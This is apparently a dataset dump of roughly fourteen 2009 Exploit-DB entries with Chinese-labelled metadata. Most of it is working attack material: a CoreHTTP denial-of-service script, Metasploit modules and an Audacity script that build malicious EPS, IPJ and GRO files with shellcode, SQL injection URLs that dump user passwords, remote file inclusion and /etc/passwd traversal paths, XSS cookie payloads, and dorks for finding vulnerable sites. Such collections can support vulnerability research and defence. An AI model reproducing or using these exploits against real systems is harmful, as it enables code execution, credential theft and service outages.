QLWD/code_shield huggingface dataset:
标题: CoreHTTP Web server 0.5.3.1 - Off-by-One Buffer Overflow EDB-ID: 10349 CVE: 2009-3586 类型: DOS 平台: LINUX 发布日期: 2009-12-02 漏洞利用脚本: # bugtraq: http://seclists.org/bugtraq/2009/Dec/99
# census ID: census-2009-0003
# URL: http://census-labs.com/news/2009/12/02/corehttp-web-server/
# CVE ID: CVE-2009-3586
# Affected Products: CoreHTTP web server versions buffer,
# 46: "%" PATHSIZE_S "[A-Za-z] %" PATHSIZE_S "s%*[ \t\n]", req, url);
# 
# The buffers req and url are declared to be of size 256 bytes (PATHSIZE)
# and the sscanf() call writes 256 bytes (PATHSIZE_S) to these buffers
# without NULL terminating them.
# 
# Note that this is not vulnerability CVE-2007-4060 in which the same
# sscanf() call contained no bounds check at all.
#
# This vulnerability can lead to denial of service attacks against the
# CoreHTTP web server and potentially to the remote execution of
# arbitrary code with the privileges of the user running the server. We
# have developed a proof-of-concept exploit to demonstrate the
# vulnerability:
#
# http://census-labs.com/media/corex.txt
#
# For the time being, one may use the following workaround to address this
# issue, until an official fix is released by the author:
#
# http://census-labs.com/media/corehttp-0.5.3.1-patch.txt
#
# -- 
#Patroklos Argyroudis
#http://www.census-labs.com/

#!/usr/bin/env python
# corex.py -- Patroklos Argyroudis, argp at domain census-labs.com
#
# Denial of service exploit for CoreHTTP web server version <= 0.5.3.1:
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3586
#
# For a detailed analysis see:
#
# http://census-labs.com/news/2009/12/02/corehttp-web-server/

import os
import sys
import socket

def main(argv):
argc = len(argv)

if argc != 3:
print "usage: %s " % (argv[0])
sys.exit(0)

host = argv[1]
port = int(argv[2])

print "[*] target: %s:%d" % (host, port)

payload = "A" * 257 + "/index.html HTTP/1.1\r\n\r\n"

print "[*] payload: %s" % (payload)

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
sd.send(payload)
sd.close()

if __name__ == "__main__":
main(sys.argv)
sys.exit(0) URL: https://www.exploit-db.com/exploits/10349
标题: Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit) EDB-ID: 10344 CVE: 2009-4195 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-07 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
        
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe Illustrator CS4 v14.0.0',
   'Description'    => %q{
     Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
    overlong DSC Comment Buffer Overflow Exploit 
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'dookie, original by Nine:Situations:Group::pyrokinesis' ],
   'Version'        => '$Revision: 7724 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/10281' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },     
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0D\x0C\x0A",
     'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
    },
   'Platform' => 'win',
   'Targets'        => 
    [
     [ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 03 2009',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME',   [ false, 'The file name.',  '9sg.eps']),
    ], self.class)

 end

 def exploit
  
  header = "\xc5\xd0\xd3\xc6\x20\x00\x00\x00\x05\xc8\x04\x00\x00\x00"
  header << "\x00\x00\x00\x00\x00\x00%\xc8\x04\x00\xb5I\x01\x00\xff"
  header << "\xff\x00\x00"
  header << "%!PS-Adobe-3.1\x20EPSF-3.0\r\n"
  header << "%ADO_DSC_Encoding:\x20Windows\x20Roman\r\n"
  header << "%"
  sploit = rand_text_alpha(41699)
  sploit << [target.ret].pack('V')
  sploit << rand_text_alpha(2291)
  sploit << "%Title:\x20Untitled-1.eps\r\n"
  sploit << "%AAAAAAAA"
  sploit << payload.encoded
  trailer = ": A\r\n"
  trailer << "%%For:\x20alias\r\n"
  trailer << "%%CreationDate:\x2011/27/2009\r\n"
  trailer += "%%BoundingBox:\x200\x200\x20227\x20171\r\n"
  trailer += "%%HiResBoundingBox:\x200\x200\x20226.5044\x20170.3165\r\n"
  trailer += "%%CropBox:\x200\x200\x20226.5044\x20170.3165\r\n"
  trailer += "%%LanguageLevel:\x202\r\n"
  trailer += "%%DocumentData:\x20Clean7Bit\r\n"
  trailer += "%ADOBeginClientInjection:\x20DocumentHeader\x20\"AI11EPS\"\r\n"
  trailer += "%%AI8_CreatorVersion:\x2014.0.0\r"
  trailer += "%AI9_PrintingDataBegin\r"
  trailer += "%ADO_BuildNumber:\x20Adobe\x20Illustrator(R)\x2014.0.0\x20x367\x20R\x20agm\x204.4890\x20ct\x205.1541\r"
  trailer += "%ADO_ContainsXMP:\x20MainFirst\r"
  trailer += "%AI7_Thumbnail:\x20128\x2096\x208\r"
  trailer += "%%BeginData:\x204096\x20Hex\x20Bytes\r"
  trailer += "%0000330000660000990000CC0033000033330033660033990033CC0033FF\r\n"
   
  eps = header + sploit + trailer

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(eps)   

 end

end URL: https://www.exploit-db.com/exploits/10344
标题: PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow (Metasploit) EDB-ID: 10332 CVE: 2009-4265 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-06 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
        
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IDEAL Administration 2009 Buffer Overflow - Universal',
   'Description'    => %q{
     This module exploits a stack overflow in IDEAL Administration v9.7.
     By creating a specially crafted ipj file, an an attacker may be able
     to execute arbitrary code. 
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'dookie, original by Dr_IDE' ],
   'Version'        => '$Revision: 7724 $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/10319' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },     
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x3c\x22\x3e\x1a\x0a",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        => 
    [
     [ 'Windows XP Universal', { 'Ret' => 0x10010F2E } ], # ListWmi.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 05 2009',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME',   [ false, 'The file name.',  'unIDEAL.ipj']),
    ], self.class)

 end

 def exploit

  sploit =  "\x0D\x0A\x5B\x47\x72\x6F\x75\x70\x2C\x45\x78\x70\x6F"
  sploit << "\x72\x74\x2C\x59\x65\x73\x5D\x0D\x0A"
  sploit << "\x43\x6f\x6d\x70\x75\x74\x65\x72\x3D"
  sploit << rand_text_alpha_upper(2420)
  sploit << [target.ret].pack('V')
  sploit << "\x90" * 300
  sploit << payload.encoded
  sploit << "\x0D\x0A\x5B\x45\x6E\x64\x5D\x0D\x0A"
 
  ipj = sploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(ipj)   

 end

end URL: https://www.exploit-db.com/exploits/10332
标题: AROUNDMe 1.1 - 'language_path' Remote File Inclusion EDB-ID: 10329 CVE: 2009-4264 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-06 漏洞利用脚本: [ Discovered by cr4wl3r \ Indonesian Hacker ]

########################################################################
3rr0r: ./aroundme_1_1/aroundme/components/core/connect.php (line 25)

       <?php
           include_once($language_path . 'connect.lang.php');
       ?>
########################################################################

########################################################################
PoC  :   http://server/[path]/components/core/connect.php?language_path=[Shell]
########################################################################

########################################################################
#Contact Me : cr4wl3r[4t]linuxmail[dot]org
########################################################################


   [ Gorontalo / 2009 ] URL: https://www.exploit-db.com/exploits/10329
标题: Elkagroup - SQL Injection EDB-ID: 10330 CVE: 2009-4569 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-06 漏洞利用脚本: #Dork : "powered by: elkagroup"

[*]############################################## 
[+] |____SadHaCkEr__|__\              #
[+] |______________________|___||\*___          #
[+] |______________________|___||""|"*\___,     #
[+] |______________________|___||""|*"|___||    #
[+] "([ (@)''(@)""""""(|*(@)(@)********(@)*     #
[+]========================================================================================================================================||
[*] About    : elkagroup  SQL Injection Vulnerability (Iranian Script)                      ||
[!] Site     : http://www.elkagroup.com                                                 ||
[!] Author   : SadHaCkEr                                                                 ||
[!] Site     : www.alkrsan.net + www.tryag.cc                                        ||                                            
[!] E-Mail   : sad@hack3d.org                                              ||
[!] Location : Saudi Arabia                                                              ||
[!]=========================================================================================================================================||
[!]                                                   MyWebSite    http://www.sadx.297m.com                                            ||
[!]=========================================================================================================================================||
[!] Exp:
[!]  http://server/news/?id=[SQL]                                         ||
[!]
[!]    [SQL] :                                                                             ||
[!]     UNION SELECT 1,2,3,4,5,6,7,8,9,10,group_concat(username,char(58),password),12,13,14,15,16,17,18,19,20,21,22,23 FROM+cm_user--
[!]                                                        ||
[!]   
[!]                                                                              ||   
[!]     Greetz 2 : alkrsan - þAlaooy HaCkEr - S.C.T - RXH - ayaster - Mr.Wolf  and All My Friends 
[!]                                                             ||
[!]                  Sad Team
[!]                                                                          ||
[!]
[!]                                                              
[!]=========================================================================================================================================|| URL: https://www.exploit-db.com/exploits/10330
标题: phpShop 0.8.1 - Multiple Vulnerabilities EDB-ID: 10324 CVE: 2009-4571 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-05 漏洞利用脚本: **************************************************************
Vendor: http://www.phpshop.org/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
**************************************************************


### SQL INJECTION
http://server/phpshop-0.8.1/?page=admin/function_list&module_id=111111' union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 -- aaa
http://server/phpshop-0.8.1/?page=shop/flypage&product_id=1011'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5 -- aaa
http://server/phpshop-0.8.1/?page=vendor/vendor_form&vendor_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=admin/module_form&module_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=admin/user_form&user_id=7322f75cc7ba16db1799fd8d25dbcde4' and '1'='1
http://server/phpshop-0.8.1/?page=vendor/vendor_category_form&vendor_category_id=6' and '1'='1
http://server/phpshop-0.8.1/?page=store/user_form&user_id=c88ce1c0ad365513d6fe085a8aacaebc' and '1'='1
http://server/phpshop-0.8.1/?page=store/payment_method_form&payment_method_id=1' and '1'='1
http://server/phpshop-0.8.1/?page=tax/tax_form&tax_rate_id=2' and '1'='1
...and many others...

The SQL Injection security check can be bypassed replacing spaces with comments (/**/)

### BLIND SQL INJECTION
http://server/phpshop-0.8.1/?page=shop/browse&category=aaa' and 1=1 -- aaa


### CSRF
http://server/phpshop-0.8.1/?page=shop/cart&func=cartAdd&product_id=321&
...and many others...


### XSS
http://server/phpshop-0.8.1/?page=order/order_print&order_id=1"><script>alert(document.cookie);</script>
...and many others... URL: https://www.exploit-db.com/exploits/10324
标题: Audacity 1.2.6 - '.gro' Local Buffer Overflow EDB-ID: 10322 CVE: 2009-0490 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-05 漏洞利用脚本: #exploit.py
# Audacity 1.2.6 (gro File) Buffer overflow Exploit
# By: Encrypt3d.M!nd
#     http://m1nd3d.wordpress.com/
#####################################################
# i know this exploit already been posted, but the author
# used an address as an universal,well,it's universal but
# it can't be called to jump.because it cause privileged_
# exception,so you can just use it.
#
# Tested on: Windows xp sp3
#

chars = "\x44" * 174
ns= "\xeb\x08\x90\x90"
sh= "\xbe\x2e\xd1\x72" # Windows xp sp3 - msacm32.drv

nops= "\x90"* 20

eggh= "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

shellcode= "\x69\x72\x61\x71\x69\x72\x61\x71"

shellcode+= (
"\x89\xe6\xd9\xc7\xd9\x76\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x43\x30\x43\x30\x45\x50\x45\x30\x4b\x39"
"\x4a\x45\x46\x51\x4e\x32\x51\x74\x4c\x4b\x46\x32\x44\x70\x4c"
"\x4b\x42\x72\x44\x4c\x4e\x6b\x43\x62\x42\x34\x4e\x6b\x51\x62"
"\x47\x58\x44\x4f\x48\x37\x51\x5a\x45\x76\x46\x51\x49\x6f\x45"
"\x61\x4f\x30\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x45\x52\x46\x4c"
"\x47\x50\x4f\x31\x4a\x6f\x44\x4d\x45\x51\x4f\x37\x4d\x32\x48"
"\x70\x42\x72\x46\x37\x4c\x4b\x46\x32\x42\x30\x4e\x6b\x50\x42"
"\x45\x6c\x47\x71\x4e\x30\x4e\x6b\x51\x50\x51\x68\x4c\x45\x4f"
"\x30\x44\x34\x51\x5a\x46\x61\x48\x50\x42\x70\x4c\x4b\x50\x48"
"\x42\x38\x4c\x4b\x50\x58\x51\x30\x46\x61\x4e\x33\x4d\x33\x47"
"\x4c\x43\x79\x4c\x4b\x50\x34\x4c\x4b\x46\x61\x4a\x76\x46\x51"
"\x49\x6f\x44\x71\x49\x50\x4c\x6c\x4b\x71\x4a\x6f\x46\x6d\x47"
"\x71\x4f\x37\x46\x58\x4b\x50\x43\x45\x4a\x54\x43\x33\x43\x4d"
"\x4b\x48\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x42\x78\x4c"
"\x4b\x46\x38\x45\x74\x46\x61\x4a\x73\x45\x36\x4c\x4b\x46\x6c"
"\x50\x4b\x4e\x6b\x43\x68\x45\x4c\x46\x61\x4e\x33\x4c\x4b\x46"
"\x64\x4e\x6b\x43\x31\x4e\x30\x4e\x69\x51\x54\x46\x44\x51\x34"
"\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x50\x51\x49\x6f\x49"
"\x70\x51\x48\x51\x4f\x43\x6a\x4c\x4b\x42\x32\x4a\x4b\x4f\x76"
"\x43\x6d\x50\x6a\x47\x71\x4e\x6d\x4d\x55\x4e\x59\x47\x70\x43"
"\x30\x45\x50\x46\x30\x42\x48\x44\x71\x4e\x6b\x42\x4f\x4f\x77"
"\x4b\x4f\x4a\x75\x4d\x6b\x4d\x30\x45\x4d\x46\x4a\x44\x4a\x42"
"\x48\x49\x36\x4c\x55\x4d\x6d\x4d\x4d\x49\x6f\x4e\x35\x45\x6c"
"\x45\x56\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x51\x65\x44"
"\x45\x4d\x6b\x50\x47\x44\x53\x42\x52\x50\x6f\x42\x4a\x43\x30"
"\x46\x33\x4b\x4f\x4a\x75\x42\x43\x50\x61\x50\x6c\x42\x43\x43"
"\x30\x41\x41")


file = open('Devil.gro','w')
file.write(chars+ns+sh+nops+eggh+chars+shellcode)
file.close() URL: https://www.exploit-db.com/exploits/10322
标题: UBBCentral UBB.Threads 7.5.4 2 - Multiple File Inclusions EDB-ID: 10305 CVE: 2009-4266 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-04 漏洞利用脚本: UBBCentral: http://www.ubbcentral.com/

UBB.threads is prone to multiple file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

UBB.threads 7.5.4.2 is vulnerable; other versions may also be affected. 

POC:
An attacker can exploit these issues via a browser.

The following example URIs are available:

http://server/path/ubb/libs/smarty/Smarty_Compiler.class.php?_plugins_params=[RFI]
http://server/path/ubb/libs/html.inc.php?[USER_LANGUAGE]=[RFI]
http://server/path/ubb/ubbthreads.php?file=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/10305
标题: Joomla! Component ProofReader 1.0 RC6 - Cross-Site Scripting EDB-ID: 10291 CVE: 2009-4157 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-01 漏洞利用脚本: The Joomla! ProofReader component is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects ProofReader 1.0 RC6 and prior. 

An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following proof-of-concept URIs are available:

http://server/1";alert(document.cookie);//
http://server/page?";alert(document.cookie);// URL: https://www.exploit-db.com/exploits/10291
标题: PHP 5.2.10/5.3.0 - 'ini_restore()' Memory Information Disclosure EDB-ID: 10296 CVE: 2009-2626 类型: LOCAL 平台: PHP 发布日期: 2009-12-03 漏洞利用脚本: Credit/Author:
Maksymilian Arciemowicz from SecurityReason

Vulnerable:
PHP PHP 5.3 
PHP PHP 5.2.10 
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

References:
https://www.securityfocus.com/bid/36009/info
http://securityreason.com/achievement_securityalert/65

Description:
PHP is prone to an information-disclosure vulnerability. 
Attackers can exploit this issue to obtain sensitive information that may lead to further attacks

POC 1:
<?php

ini_set("session.save_path", "0123456789ABCDEF");
ini_restore("session.save_path");
session_start();
?>

POC 2:
<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");


include("B");

?> URL: https://www.exploit-db.com/exploits/10296
标题: GeN3 forum 1.3 - SQL Injection EDB-ID: 10299 CVE: 2009-4263 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-04 漏洞利用脚本: # Author: Dr.0rYX & Cr3w-DZ
# Software Link: http://www.ptcpay.com/shop/browse_products.php
###############################


         NN         N     AAAAAA     SSSSSSSSS
         NNN       N   A           A    S
         N NN      N   A           A    S
         N  NN     N   A           A    S                        TTTTTT   EEEEE    AAAA    MM   MM
         N   NN    N   AAAAAAAA    SSSSSSSSS              TT      E         A      A   M M M M
         N     NN  N   A           A                   S             TT      E         A       A  M  M   M
         N      NN N   A           A                   S             TT      EEEE    AAAAAA  M       M
         N       NNN   A           A                   S             TT      E         A       A  M       M
         N        NN   A            A                   S             TT      E         A       A  M       M
         N          N   A            A    SSSSSSSSS             TT      EEEEE   A       A  M       M


                                                               ALGERIAN HACKER
                **********************- NORTH-AFRICA SECURITY TEAM -***********************

  [!]            GeN3 forum V1.3 SQL injection vulnerability
  [!] Author    : Dr.0rYX & Cr3w-DZ
  [!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

  ***************************************************************************/

  [ Software Information ]

  [+] Vendor : http://www.ptcpay.com
  [+] script   : GeN3 Version 1.3
  [+] Download : http://www.ptcpay.com/shop/browse_products.php
  [+] Version() : 1.3
  [+] Vulnerability : SQL injection
  [+] Dork :inurl:"main_forum.php?cat="

  **************************************************************************/
  [ Vulnerable File ]

  http://server/path/main_forum.php?cat=[N.A.S.T ]

  [ Exploit ]

  http://server/forum/main_forum.php?cat=-1+Union+ALL+Select+1,group_concat(aId,0x3a,aUsername,0x3a,apassword),3,4,5,6,7+FROM+admins--

  http://server/forum/main_forum.php?cat=-1+Union+ALL+Select+1,group_concat(userid,0x3a,Username,0x3a,password),3,4,5,6,7+FROM+users--

  [  GReet ]

  [+] :Cr3W-DZ , xcv-dz , CLAW , kader11000 , exploit-db.com , ALL HACKERS MUSLIMS URL: https://www.exploit-db.com/exploits/10299
标题: Joomla! Component Joaktree 1.0 - SQL Injection EDB-ID: 10272 CVE: 2009-4784 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-01 漏洞利用脚本: /**************************************************************************

[!] Joomla! Joaktree component SQL injection vulnerability
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://www.indonesiancoder.com
[!] Date : November 30, 2009
[!] Tune In : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Developer : Niels van Dantzig
[+] Download : http://extensions.joomla.org/extensions/miscellaneous/genealogy/9842
[+] Version() : 1.0
[+] License: GNU General Public License (GPL)
[+] Vulnerability : SQL injection
[+] Dork : "R.I.P

===========================================================================

[ Here we go.. Proof of Concept ]

http://server/index.php?option=com_joaktree&view=joaktree&treeId=[INDONESIANCODER]

[ Exploit ]

-1+union+select+1,1,1,version(),1,666,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1+from+jos_users--

===========================================================================

[ Who The Hell Has Control of That Damn Smoke Machine ]

[~] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown
[~] kaMtiEz, M3NW5, arianom, Contrex, tiw0L, Pathloader, abah_benu, Saint, Cyb3r_tr0n, M364TR0N, VycOd,
[~] Jack-, Yadoy666 + miya666, s4va, senot, Bayu5154, Gonzhack, Tucker, Ian Petrucii, Ronz & FeeLCoMz
[~] kecemplungkalen, DraCoola Multimedia, XNITRO, rey_cute, Awan Bejat, Plaque, Gh4mb4s and YOU!!

[ Not ALLOWED ! ] 

[+] FOR MALINGSIAL


[ QUOTE ]

[+] Thank you to ALL OF YOU called me piece of shit, especially for High school friends
[+] Go Red for World AIDS Day, December 1, 2009 URL: https://www.exploit-db.com/exploits/10272
标题: Joomla! Component MojoBlog 0.15 - Multiple Remote File Inclusions EDB-ID: 10273 CVE: 2009-4789 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-01 漏洞利用脚本: #########################################################################
## Joomla Component MojoBlog Multiple Remote File Include vulnerability #
## Author : kaMtiEz (kamzcrew@yahoo.com)             #
## Homepage : http://www.indonesiancoder.com            #
## Date : November 20, 2009       #
#########################################################################

[ Software Information ]

[+] Vendor : http://www.joomlify.com/
[+] Download : http://www.joomlify.com/files/mojoblog/
[+] version : RC0.15
[+] Vulnerability : RFI
[+] Dork : inurl:"com_mojo"

#########################################################################

[ Vulnerable File ]

http://server/components/com_mojo/wp-comments-post.php?mosConfig_absolute_path=[INDONESIANCODER-Ev1L]

http://server/components/com_mojo/wp-trackback.php?mosConfig_absolute_path=[INDONESIANCODER-Ev1L]

[ BUG IN ]

[1] wp-comments-post.php

[2] wp-trackback.php
======================

[1] require_once($mosConfig_absolute_path.'/components/com_mojo/wp-config.php'); 

[2] require_once($mosConfig_absolute_path.'/components/com_mojo/wp-config.php'); 

[ FIX ]

contact me .. or aurakasih ..

Joke.. ;)
#########################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy and YOU!!

[ NOTE ] 

[+] one day .. u will be mind ..
[+] bangun tidur coba mencari celah .. dapet juga ,, :D
[+] aurakasih .. aku butuh kamuwh .. hha
[+] om tukulesto kapan ke kotaku ?? hha URL: https://www.exploit-db.com/exploits/10273